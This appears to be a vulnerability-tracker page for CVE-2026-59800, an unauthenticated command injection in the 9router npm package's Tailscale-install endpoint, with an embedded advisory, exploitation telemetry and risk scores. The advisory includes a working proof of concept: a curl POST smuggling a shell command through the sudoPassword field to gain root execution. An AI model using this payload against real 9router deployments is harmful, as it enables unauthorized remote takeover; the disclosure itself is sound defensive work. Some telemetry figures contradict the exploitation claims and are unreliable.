What it is
GHSA-G6G7-PVMX-M74P is an unauthenticated 9router: Missing Authorization and OS Command Injection. # Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master...
Vulnerability report
Linked CVE: CVE-2026-59800
9router: Missing Authorization and OS Command Injection
Npm / 9router · affected before 0.4.44
Decision summary
Direct answers before the deeper technical record.
What it is
GHSA-G6G7-PVMX-M74P is an unauthenticated 9router: Missing Authorization and OS Command Injection. # Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master...
Is it exploited?
Yes. Previdian sensors observed exploitation attempts with confirmed confidence. Also confirmed by third-party sources.
Who is affected?
Npm / 9router affected before 0.4.44.
What should we do?
Patch immediately, validate internet-facing exposure, and monitor for matching requests.
Overview
# Unauthenticated RCE via `/api/tunnel/tailscale-install`
**Affected:** `9router` (npm package) — current master (`v0.4.39`).
### Summary
`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.
### Details
#### 1. Middleware matcher (`src/proxy.js:3-15`)
```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ```
Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.
#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)
```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ```
`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.
#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)
```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ```
The byte stream sent to the stdin of the `sudo -S sh` child process is:
``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ```
When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:
1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input.
Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.
Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path.
### PoC
The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.
**Step 1 — build the target image**
```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ```
**Step 2 — start the target**
```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ```
**Step 3 — exploit (one unauthenticated POST)**
```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ```
**Step 4 — verify**
```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ```
The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.
### Impact
**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).
**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:
| Configuration | Example | Outcome | |---|---|---| | Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) | | Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold | | Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |
Exploitation evidence
Third-party attestation and first-party sensor observation are shown separately so teams can judge the evidence chain.
The Shadowserver
Previdian independently recorded this as exploited after first seeing it in honeypot sensors.
Previdian sensor
Previdian first observed exploitation attempts targeting this vulnerability in our honeypot sensors.
Pruva
Public scanner or PoC coverage increases practical exploitability.
Per-source evidence links for KEV attestations are available through the Previdian Pro API.
Learn about Pro API access| Source | Added |
|---|---|
| The Shadowserver First | 2026-07-31 00:00 UTC |
| Previdian | 2026-08-01 11:09 UTC |
Operational indicators for this CVE are listed under Detection.
Sensor telemetry
Previdian sensors recorded exploitation attempts targeting this vulnerability. The cards and chart show volume, unique attackers, and daily activity.
0
Attempts observed
0
Unique attacker IPs
—
Attacker countries
—
Sensors observed
GHSA-G6G7-PVMX-M74P exploitation attempts over the last 91 days
Daily events observed by Previdian sensors
Updated 20 Sep 2026
No daily activity in the retention window.
First observed 10 Jul 2026 · Last observed 14 Jul 2026
Pro adds sensor region and window summaries. Enterprise adds raw IPs, paths, User-Agents, and payloads.
Detection
Make the evidence actionable in scanner, SOC, and edge-control workflows.
Request targets and User-Agents available in Pro. Callback host details available in Enterprise.
No scanner integrations recorded yet.
No Previdian virtual patch is currently available. Future rules ship for ModSecurity, Cloudflare, and AWS WAF.
Learn about virtual patches →Attacker IP indicators observed · available in Pro and Enterprise.
Sensor-derived attacker IP indicators are available to Pro and Enterprise accounts under Detection and through the Pro API.
Learn about Pro API accessRisk and context
CVSS v4.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS
1.3%
Recent mention · RecordedFuture
In August 2026, Insikt Group® identified 73 high-impact vulnerabilities that should be prioritized for remediation, 43 of which had a Very Critical Recorded Future Risk Score. This represents a 14% decrease from last month.
Read full advisoryThese PoCs are unverified and could contain malware. Use at your own risk.
pruva · Created 2026-07-08 04:50:47 UTC
Severity: CRITICAL | CVE: CVE-2026-59800 | Package: 9router (npm)
Timeline
00:00 UTC
High-confidence, third-party attested exploitation
06:46 UTC
Evidence-backed exploitation signal
11:22 UTC
Indicators of compromise recorded
04:50 UTC
Public proof-of-concept code published
20:17 UTC
Vulnerability disclosed publicly
Pro API
Confidence, exploit status, sensor telemetry, PoCs, scanner integrations, mentions, and tags are available programmatically for VM, SOC, and CTI workflows.
GET /api/v2/pro/kevs/GHSA-G6G7-PVMX-M74P
Free JSON includes basic KEV fields{
"ghsa_id": "GHSA-G6G7-PVMX-M74P",
"confidence": "Confirmed",
"cvss_score": 9.2,
"cvss_estimated": false,
"epss_score": 0.01338,
"exploit_status": {
"exploited_in_the_wild": true,
"active_exploitation_observed": true
},
"sensor_telemetry": { "attempts": 0, "sensors": 0 }
}